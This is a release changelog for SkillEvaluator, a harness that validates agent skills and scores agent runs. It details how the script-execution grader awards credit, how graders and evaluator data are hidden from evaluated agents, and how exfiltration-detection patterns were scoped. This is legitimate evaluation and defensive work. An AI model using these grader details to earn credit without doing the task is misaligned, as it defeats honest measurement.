check_script_executionpreviously treated the script name as a substring of an execution command, so reading, printing or searching the script, or running a similarly named file, scored a fullExecuted <script>. Credit is now given only for a recognised invocation: the script run directly, an interpreter given it as its script argument, asource, or ash -cpayload that does one of those, withcdtracked and script identity compared exactly. Interpreter and wrapper options come from grammars derived by running each option against a script that records whether it executed, so--help,perl -candbash -nrun no script whilepython -Wignoreandenv FOO=1still resolve to theirs. A command the walk cannot resolve keeps the existing 0.75 partial credit rather than being scored either way: a path built at run time, an option outside a grammar, a name only in heredoc data, inline code or a module that names the script, and anything reaching a command through standard input, includingxargsandparallel, whose behaviour the command text never determines. Partial credit is only ever given for a command that names the script: an unresolved command that never mentions it scores zero, as before. Redirections standing before the script (python3 < /dev/null run.py), a script's own arguments that look like shell options (bash run.sh -c '...'), invocations insideif,while,untilandforbodies, and versioned interpreter names (perl5.38.2,python3.13) resolve as the shell runs them. A loop over an empty list keeps the earlier binding and its body is not read; a binding made inside( ... )stays there; the last command of a pipeline keeps its bindings where the shell does (zsh, ksh) and not where it forks it (bash, dash, mksh), with an option change that could move it (shopt -s lastpipe,emulate sh) read as unresolved; a quoted or escaped word that would read as syntax ('done',printf "(",';|') is the ordinary word it is; groups and compound pipeline stages nest in either order, each compound tested for its own pipe;((closed by))is an arithmetic command where the shell has one; the positional parameters are empty unless the text gives some, sofor f; doat the top level runs nothing and keeps the variable's value; an interpreter fed its program by a pipe (cat run.py | python3) is unresolved likepython3 < run.py; a variable bound byexportorreadonly, or bydeclareandtypesetwhere the shell has them, holds the value it had when the builtin ran,unsetempties it,+xandexport -nunexport it however the builtin is reached, and one bound from data the text does not carry (read,printf -v,localoutside a function,declare -u, a nameevalmay bind, including from a program held in a variable) is unresolved, as is a later assignment to a name given-i,-uor-n, while-llowercases it and an array is never exported; what is done to a-nname (namerefin ksh and mksh) leaves the name it refers to unresolved;let,$((...))and$[...]assign as((...))does; an assignment the shell rejects (a value that is not a number for an-iname) and a special builtin given an option the shell rejects end the credit where the shell stops there; an assignment written before a command,env NAME=valueincluded, is that command's environment only, reaching neither its own words nor the commands after it, except before a special builtin in the POSIX shells; a-cpayload's shell sees the exported names, its command's own prefix and whatenvadds and removes, and a$quoted or escaped from the outer shell is expanded there (one left unquoted is expanded here, a name never bound to nothing), with the payload's own heredoc bodies kept as data; text thateval, inline code or a shell reading a heredoc may expand again is unresolved when a variable in it holds the script; every heredoc declared on a line takes its body after the line, in order, and past the number a shell accepts on one line (16 in bash) the line and the rest are data; a here-string, which dash and busybox ash reject before running anything, leaves nothing credited under those shells, and so does a compound's opening word written after an assignment (A=1 for ...,A=1 if ...,A=1 ( ... )), which every modelled shell rejects and which no longer raises;(((is a subshell around((in bash, zsh and mksh; andksh,mkshandashare recognised shells. Applied to both the host checker and the bundled Harbor verifier.Added
scripts/script_invocation_differential.py, a differential harness that executes each command for real against fixtures that record whether they ran, and compares the result against both implementations.--baseline REFalso scores every command with the checker at an earlier ref and lists each score that moved, so a change that lowers a command that ran, or raises one that did not, is seen before it is pushed.
Added
Interactive top-level help now opens with a green SkillEvaluator wordmark, installed version, and tier overview. Narrow terminals use a compact header; redirected output and subcommands keep their existing output format.
OpenAI-compatible gateways now have chat, embedding, and separate Codex, Claude Code, and OpenCode model defaults. Set the provider, URL, and key; override model IDs when the gateway uses different catalog names. Claude Code inherits the gateway route unless an explicit Anthropic route is set. Run reports identify harness defaults separately from CLI/config overrides.
Run individual tiers directly with
skillevaluator tier1 PATH,tier2 PATH, andtier3 PATH, while retaining the expert subcommands. Tier 1 includes dependency checks and enables LLM checks when configured; Tier 2 reports whether a catalog comparison ran; Tier 3 creates a missing starter dataset and preserves existing evaluation sources.
Changed
- Show elapsed waiting time during autopilot dataset generation and identify
deterministic starter datasets used after a provider failure. Fully unscored
Tier 3 runs show an
INCOMPLETEsummary with coverage, consolidated execution errors, and recovery steps; completed comparisons highlight overall Skill Lift (#152). - Harden documentation publishing with restricted token permissions, pinned checkout and Fern versions, and disabled persisted checkout credentials. Apply the checkout credential restriction to DCO checks (#158).
- Add the methodology paper as the preferred citation and link research, developer-blog, and livestream resources from the README (#146, #159).
validate PATHnow runs all three tiers for skills by default. Tier 3 autopilot reuses an existing evaluation source or creates one starter case when none exists.--fullremains compatible but is unnecessary;--tiers,--no-tier3, and--no-autopilotprovide explicit scope controls. Keyless static CI gates should select--tiers 1.- Tier 3 now selects a provider-native agent when
--agentsis omitted: OpenCode for NVIDIA Build, Codex for OpenAI, and Claude Code for Anthropic. NVIDIA Build agent runs default to Nemotron Super; explicit agent and model overrides remain unchanged. - Tier 3's extra agent runtime preflight is now disabled by default because it
executes the first real task prompt and incurs agent runtime and model cost.
Enable it explicitly with
--agent-runtime-preflighton eithertier3orvalidate, or withharbor.agent_runtime_preflight: trueinevals/config.yml. - Missing-provider and API-key errors now show concise, copyable setup steps
and a link to advanced configuration. Tier 1 also explains
--no-llm. tier1 validatenow runs only Tier 1, matchingtier1 PATH. The top-levelvalidatecommand retains its combined pipeline behavior.- README and getting-started guides lead with provider-plus-key setup for NVIDIA Build and OpenAI, explain inherited model defaults, and separate credentials from scanner and agent runtime requirements.
0.3.0 - 2026-09-17
Added
- Catalog validation now writes
catalog-summary.jsonat the reports root with per-skill pass/fail status, optional severity rollups from child JSON reports, and paths to per-skill report directories. - Catalog
validateaccepts--workers Nto validate skills in parallel child processes (default 1 preserves the serial per-skill pipeline view). SKILL_EVAL_MODEL_CATALOG_ALLOW_HTTP_HOSTSnames hosts whose model catalog may be read over plain HTTP. Catalog reads still require HTTPS for every other non-loopback host. Entries match one whole host as written, with no name resolution. A plain-HTTP request to an accepted host bypasses any inherited HTTP proxy so its bearer token is not offered to an intermediary. The transport rechecks authorization before dispatch and rejects hosts that are no longer allowed.- Published benchmark cards record the evaluated source identity.
BENCHMARK.mdnow carriesEvaluated source,Evaluated source revisionandEvaluator container revisionas separate fields, so a reader can tell which source tree was evaluated apart from the evaluator build that evaluated it. Previously two skills evaluated from different repositories by the same evaluator container produced cards whose only recorded revision was the shared container tag.validateandtier3 evaluatetake the identity as--evaluated-source-repository,--evaluated-source-revisionand--evaluator-container-revision.validaterecords it on the card and in the top-levelevaluated_sourceobject of its JSON report and forwards it to every child of a parallel catalog run; both commands persist it into a Tier 3 run'srun_config.json. It can also arrive as theevaluated_sourceargument tobuild_agent_eval_payload, as anevaluated_sourceobject in the run'srun_config.json, or asmetadata["evaluated_source"]on any validation result. It is never inferred from repository state while rendering, because the tree that renders a card is the evaluator checkout rather than the evaluated skill's source. Every populated carrier, including the payload of every Tier 3 result, is folded into one identity before any report is written, so carriers that disagree fail closed with nothing published instead of letting result ordering decide which source tree a card claims to describe. A revision is accepted only in an unambiguous shape: a full Git object id (40 or 64 hex characters), or a digest whose width matches the algorithm it names. A container revision is an image reference validated by component (a repository path of up to 255 characters, an optional tag of up to 128, and a digest at its algorithm's width), so a long repository name is no longer discarded. The 255 bound measures the path once the registry host is split off it. Path components are lower case, as the OCI grammar requires, while a registry host may use any case and is read as a host only when it islocalhost, carries a dot, or carries a port.check_public_benchmarks.py --require-source-provenancerequires the fields and fails any card publishing aPASSwithout them, including aPASSwhose evaluator container is named by a mutable tag rather than pinned by digest. SkillEvaluator's own CI now runs the scan with that flag; it stays opt-in for trees whose cards predate the contract (#72). - SARIF 2.1.0 reporter (
-r sarif) for GitHub Code Scanning and other SARIF consumers. Findings map to rule IDs, severity levels, and file locations from Tier 1 validation results.
Fixed
- Fully covered documentation-only skills no longer fail security validation solely because non-applicable SkillSpector analyzers report a partial status (#137).
- Embedding chunking now rejects zero-sized or non-progressing windows before entering the splitter or contacting the embedding provider (#139).
- Scoped network exfiltration command flag patterns in security checks, enforcing command-position anchoring, quote-aware argument segmentation, explicit HTTP method flags, and case-sensitive
-F/-d/-Tflags to prevent false-positive flags on safe URLs, packages, or download scripts while reliably detecting quoted secrets and subshell wrappers. - Malformed, non-UTF-8, or unreadable bundled and custom policy files now produce path-specific CLI errors instead of leaking raw parser or I/O errors (#128).
create-eval-dataset --refineresolves Harbor trial case ids from persistedreward.jsonentry_idmetadata, using folder-name parsing only as an unambiguous legacy fallback.- Tier 3 local mode now drops evaluator-managed empty process-loader resets while continuing to reject non-empty loader overrides, allowing generated tasks to reach agent execution (#132).
- Unpinned-dependency warnings are no longer suppressed by comparison
operators inside PEP 508 environment markers; requirements such as
pkg; python_version < "3.13"are now correctly reported, while direct references are treated as pinned independently of marker contents. - Schema, frontmatter, quality parsing, and security PII scanning accept a leading UTF-8 BOM, matching the unicode scanner's "benign BOM" note (#91).
- SPDX headers keep the full license expression, so
MIT OR GPL-3.0is no longer truncated to MIT and allowed. Closing comment markers such as*/and-->are not treated as part of the expression (#86). - Windows personal-path PII now flags
C:\Users\...usernames that start withs(for examplesteve), matching the intended whitespace class rather than excluding the letters(#87). - Quality scoring, script lint, and
create-eval-datasetnow treattools/the same asscripts/for executable helpers. - License detection no longer treats a frontmatter
licenseidentifier as authoritative when a LICENSE file declares a different license. Claiming MIT while shipping GPL-3.0 now fails closed. Every LICENSE/COPYING file is reconciled, NOTICE files stay informational, an unidentified license file is not treated as absent, and a blocking conflict no longer publisheslicense_status=allowed(#85). --llm-verifynow refuses to send file context from paths outside the skill root, including.., absolute paths, and outbound file symlinks.- Gitleaks path allowlist now skips test/example/fixture/mock directories
instead of any path containing those substrings, so files like
latest.pyare scanned. - Gitleaks CI now limits pull-request and push scans to history reachable from the checked-out commit, while audit events retain all-ref coverage, preventing unrelated refs from causing false failures (#106).
- The Tier 3 agent runtime preflight now fails with an actionable diagnostic when
the results directory is not visible to the Docker daemon. Previously the smoke
run passed -- agent output travels over the Docker exec API rather than through
the mounts -- and every scored trial then failed with
RewardFileNotFoundErrorwhile the rewards sat inside the daemon's own filesystem. - Dead-link validation now uses the shared CommonMark parser, covering reference-style and HTML links while preserving Markdown image checks and consistently normalizing local destinations. Root-absolute URLs are ignored instead of being treated as host paths; href-only diagnostics collapse repeated links to the same normalized target. Invalid destination bytes do not alias other files, relative URLs that normalize to absolute or drive-relative paths are reported without lookup, lookup failures remain per-link findings, and link diagnostics are bounded and escaped. Malformed frontmatter and repeated unclosed HTML comments no longer abort or stall supporting-document checks.
- Tier 3 accuracy and custom goal judges now retry one malformed (including empty) or schema-invalid response with a 4096-token output budget before failing closed, preventing a transient formatting error from making an otherwise successful trial and its full comparison arm unscoreable. Generated and injected Harbor verifier configs now reserve 600 seconds for six sequential direct provider attempts plus fail-closed artifact writes. Explicit native task timeouts remain owner-controlled and are not rewritten, and whole jobs defer to Harbor's task-configured phase controls instead of a hidden two-hour cap (#70).
- PII scanning no longer treats Markdown ATX headings as code comments, so
emails in headings such as
# Contact: ...are flagged. Hash lines inside Python strings, YAML scalars, and shell heredocs are scanned too. Real comments stay skipped, including YAML frontmatter, fenced code, andrequirements.txt(#88). - Tier 3 Harbor collection no longer scans an agent's unstructured transcript
for runtime-error phrases when the recorded exception belongs to the
verifier, health check, or task. Correct answers that discuss errors such as
401 Unauthorizedare no longer misreported as agent runtime failures. - SkillSpector reports now use validated version-specific completeness
contracts. Valid findings from coherent 2.10+ partial scans remain visible
while the result stays incomplete, and fully covered 2.9.5/2.9.6
--no-llmreports remain compatible. Contradictory finding or component totals and duplicate component identities fail closed. Versioned findings require producer paths, and complete reports reconcile universal analyzer work with the component inventory. Reports scored before 2.10 finding compaction remain accepted. Shipped bytecode findings, source-scoped executable evidence, and version-specific finding identities remain authoritative without overstating compacted or hidden finding evidence. SkillSpector 2.11+ requires bundled execution-surface analyzer evidence; 2.11.1+ uses classification-aware finding IDs while rejecting conflicting reuse of an ID. - Tier 3 paired pass@k evidence now respects Python's active integer-string conversion limit, preserves nonzero Wilson interval widths and paired-effect directions at large case counts, and documents exact-rational omission markers.
- Tier 3 now decodes bounded native Codex
execwrappers into their static tool calls. It preserves call order and outer-call provenance, maps an outer observation only when its rendered inner call is known, keeps ambiguous observations explicit, and reports unsupported or malformed JavaScript as untrusted instead of a clean security result.
0.2.1 - 2026-08-24
Added
- Added a public benchmark publication gate, regression coverage, and a
documented rollout plan for generated
BENCHMARK.mdcards. - Tier 3 pass@k results now include per-arm 95% Wilson score intervals and, when case identities pair completely, direction-preserving paired outcomes with a two-sided exact McNemar diagnostic, its attainable-p resolution limit, and the paired pass-rate delta.
Changed
- Unified Tier 3 scoring around the canonical five dimensions, persisted an
immutable dataset-truth snapshot with provenance metadata, and redesigned
BENCHMARK.mdas a decision-first publication card. - Updated public OpenAI / Anthropic / Bedrock chat defaults to pinned frontier
models (
gpt-5.6-sol,claude-opus-5,us.anthropic.claude-opus-5), centralized inprovider_config, and documentedgpt-5.4-minias the lower-cost OpenAISKILL_EVAL_LLM_MODELalternative. Raised dimension/insights judge token budgets to 4096 and widened the gpt-5* temperature guard to bare model IDs.
Fixed
Tier 3 now exercises each resolved agent route and the enabled standard- grading route against its provider's model catalog before image preparation or task staging. Definitive native-provider authentication and deterministic Bedrock credential/configuration failures stop immediately with a redacted diagnostic. Non-authoritative OpenAI catalog permission/membership results, public or compatible catalog success that does not authenticate inference, compatible-gateway catalog authentication, transient failures, and native Harbor judge selection resolved only at runtime continue as degraded checks. Redacted per-route outcomes are retained even when the later agent runtime preflight fails (#71).
Tier 3 Harbor collection now accepts the
step_results: nullsentinel emitted for successful single-step trials while retaining fail-closed validation for malformed non-null multi-step result containers.Tier 3 eval-dataset generation now parses
SKILL.mdfrontmatter as YAML. The previous line-based scan captured block-scalar indicators verbatim, so adescription: >-became the literal string>-in every generated prompt, and multi-line quoted scalars were silently truncated to their first line.GitHub Actions pull request reports now link source targets to the checked-out repository revision instead of the synthetic
<number>/mergeref, preventing broken or cross-repository links.Tier 3 LLM insights now receive explicit labels and bounded expected-behavior context for
expected_skill: nullnegative controls, and the judge is instructed not to flag unrelated successes without invocation or failed-routing evidence.Fixed Anthropic API-root normalization across evaluator and Claude Code paths, and made required Tier 3 judge failures fail closed instead of appearing as numeric zero scores or publishing misleading quality results (#55).
Tier 3 now normalizes host-configured
LLM_JUDGE_MODELandSKILL_EVAL_JUDGE_MODELoverrides in Harbor's parent process and forwards the selected value through its verifier-only job layer for standard grading. This lets native separate-verifier placeholders resolve without injecting either name into the evaluated agent's initial environment. Skill-authoredruntime_envand native task[environment.env]tables cannot set or alias either operator-controlled override. Native verifier declarations remain compatible, while the job-level value takes precedence during standard grading. Tier 3 results now record the configured judge provider, model, source, and whether a dedicated job-wide override was applied, separately from agent models. A provider fallback may still use a different model for an individual judge call.Quality scoring now uses boundary-aware lexical matching and CommonMark-parsed structural links instead of hand-written Markdown parsing or regex inference of author intent. Deterministic checks no longer infer MCP negation, temporal intent, README guidance, or exclusivity from prose; use
rubric-evalfor semantic documentation judgments and Tier 3 for observed agent behavior.
0.2.0 - 2026-08-18
Security
- Secure Docker exec redaction now ignores environment values shorter than eight
characters, matching the exact secret length floor used elsewhere. Short
flags such as
CLAUDE_CODE_DISABLE_POLICY_SKILLS=1no longer rewrite digits indocker execoutput, which had broken NVIDIA Build bridge loopback origins during Tier 3 preflight.
Changed
- Added explicit
--block-on-dedup/--no-block-on-dedupand--block-on-agent-eval/--no-block-on-agent-evalcontrols with backward-compatible defaults, Tier 3 source preflight, and consistent gating metadata across CLI, JSON, Markdown, and HTML reports. - Reduced pull-request runner use for changes confined to
docs/**andfern/**: DCO, Gitleaks, and pinned Fern validation still run, while mixed and non-docs changes retain the complete Linux, macOS, Windows, packaging, and security matrix. Superseded pull-request CI and security runs are cancelled so they do not consume runners after a newer commit is pushed. Path classification executes from the pull request base revision so a change cannot weaken its own CI routing.
Fixed
- Quality scoring now uses boundary-aware and context-aware matching for XML tags, reserved names, MCP guidance, README references, time references, exclusivity language, instruction action verbs, and nested Markdown links, avoiding incidental-word score changes.
- Tier 3 generated tasks now stage only an entry's declared
files, preventing undeclared fixtures from the sharedevals/files/directory from appearing in that task's/workspace/input/, while preserving copy-all behavior for legacy entries that omit the field. Agent-visible target, reference, and workspace skill projections now omit evaluator-ownedevals/directories from every staged skill package, including sanitized--copy-repocontexts, while graders, native tasks, custom environments, and declared inputs continue to load from the source dataset. Authenticated historical result trees are also excluded after output rotation, invalid markers fail closed, and late Codex, Cline, Goose, and Qwen skill-discovery roots are reset before agent execution. Pre-upgrade custom result roots outsideevals/have no authenticity marker and cannot be distinguished safely from authored runtime content. Move or delete that old content before--copy-repoor other full-context evaluation, then rerun with this version if replacement evidence is needed. Explicit task inputs cannot select evaluator-owned datasets, configuration, graders, tests, native tasks, environments, or results. Every agent and baseline arm now reads from one private, selective evaluator snapshot containing the active control files, task-source data, consumed fixtures and grader, and the complete authored custom environment. Legacy omitted-file entries retain the full shared files corpus. Unrelated evaluator subtrees and generated results stay outside the snapshot. MCP configuration and completed-run artifacts are read through bounded descriptor-anchored roots; on Windows, selected file handles deny concurrent writes and deletes while live. Historical unmarked runs created before canonical run-levelresult.jsonremain discoverable only when their stable configuration and summaries satisfy the complete historical schema. Pre-status scored summaries remain consumable, coherent status-era failures remain visible without contributing scores, and marked current partial runs continue to fail closed. - Tier 2 scans now validate but do not follow the exact contained
CLAUDE.md -> AGENTS.mdcompatibility alias, scanning the exactly named, independently discovered, single-link regular target once while continuing to reject hard-linked selected files, linked manifests, directories, and all other file redirects.
0.1.0 - 2026-08-05
Added
CI DCO check that fails pull requests whose commits lack a
Signed-off-bytrailer, matching the sign-off requirement inCONTRIBUTING.md.Initial public release candidate.
Enabled optional semantic-version validation in the default Tier 1 pipeline, including a public
--previous-versionmonotonic-bump bound.Added NVIDIA Build live-agent paths: direct OpenCode support plus Docker compatibility bridges for Codex and experimental Claude Code, including multi-turn tool-call continuation.
Fern documentation site configured for
docs.nvidia.com/skills/skillevaluator, building thedocs/guides (installation, configuration, and the three evaluation tiers) as MDX pages.Expanded the documentation site to fifteen pages — quickstart, eval datasets, agents and sandboxes, custom graders, reports, CI integration, CLI reference, and environment variables — under a task-oriented navigation, with every command verified against the current CLI.
Security
- Isolated NVIDIA Build bridge credentials from vendor CLI processes using a transient, root-managed, container-only key handoff with cleanup on failure.
- Removed NVIDIA Build secrets from Harbor and Docker exec arguments using a
host-only key file, a non-secret subprocess sentinel, and per-exec container
handoffs; provider-secret aliases in
runtime_envare rejected. - Hardened compatibility-bridge startup with a dynamic loopback port and authenticated, process-bound readiness instead of a fixed health endpoint.
- Tightened local macOS Seatbelt policy so nested workspaces can traverse home directory metadata without gaining directory-listing or sibling-file access.
- Removed implicit host-side pytest execution from default Tier 1 code-integrity validation. Test evidence is now collected with contained, filename-only discovery that does not import or execute target-controlled Python code.
Changed
- Simplified the repository README into a concise documentation landing page,
retained a compact keyless
validatequickstart, LLM-provider setup, and a one-commandvalidate --fullpath through all three tiers, broadened the project description to agent artifacts starting with agent skills, and moved detailed guidance todocs.nvidia.com/skills/skillevaluator. - Added Tier 3 cost-planning guidance, including trial-volume multipliers, cost-saving flags, and the cost and isolation tradeoffs of local mode.
- Standardized the product name as
SkillEvaluatoracross documentation, repository metadata, CLI output, and generated report artifacts. - Removed the optional OpenTelemetry integration, the
skillevaluator[telemetry]extra, and theskillevaluator.telemetryPython module from the public distribution. Imports of that module now fail rather than providing the former telemetry and safety helpers. Redaction and child-process environment filtering remain available fromskillevaluator.utils.redactionandskillevaluator.utils.process_environment; direct Protobuf and OpenTelemetry dependencies are no longer installed. - Changed the public OpenAI default to
gpt-5.4-miniand the NVIDIA Build default tonvidia/nemotron-3-nano-30b-a3b; OpenCode, Codex, and experimental Claude Code now resolve that Build default without redundant model flags. - Tier 3 now streams staging, arm submission, completion, failure, collection, and report-writing progress instead of appearing idle during Harbor startup.
- Tier 3 now reports structured agent/provider failures such as NVIDIA Build capacity exhaustion instead of scoring a no-trajectory fallback or emitting a generated Harbor task-name mismatch.
- Replaced provisional
test_coverage,tests, andcoverage_percentoutput with onetest_discoverydetail. Reports now includetest_count, supported filename patterns,execution_performed=false, andcoverage_measured=false; projects must run tests and measure coverage in a trusted environment or explicit sandbox.
Fixed
- Public benchmark cards now omit policy profiles, redact absolute host paths, and normalize imported internal or retired metadata before publication.
- Previous-version validation now rejects catalog-wide scalar reuse and removal
of an already bounded
metadata.versionlabel. - Tier 1 and Tier 2 now ignore only the exact public SPDX metadata preamble,
distinguish package versions from network addresses, recognize canonical
agents/andtests/support directories, and keep Ruff on the validated 0.15 release line. - Accepted structurally complete SkillSpector finding reports on policy exit 1 and hardened validation of the external scanner's untrusted JSON contract; SkillSpector remains separately installed and unpinned by this distribution.
- Programmatic dataset generation now returns explicit created, preview, and unchanged outcomes, preserves actionable failures, and no longer mutates process-wide command-line arguments.
- Security and full-feature installs now work on RHEL 8 and other glibc 2.28 Linux systems by keeping Semgrep and SkillSpector in separate tool environments while retaining compatible bundled Python dependencies.
- Tier 2 content collection now prunes configured evaluation and version artifact directories before enforcing the discovered-path limit, so excluded generated results cannot cause false path-count failures.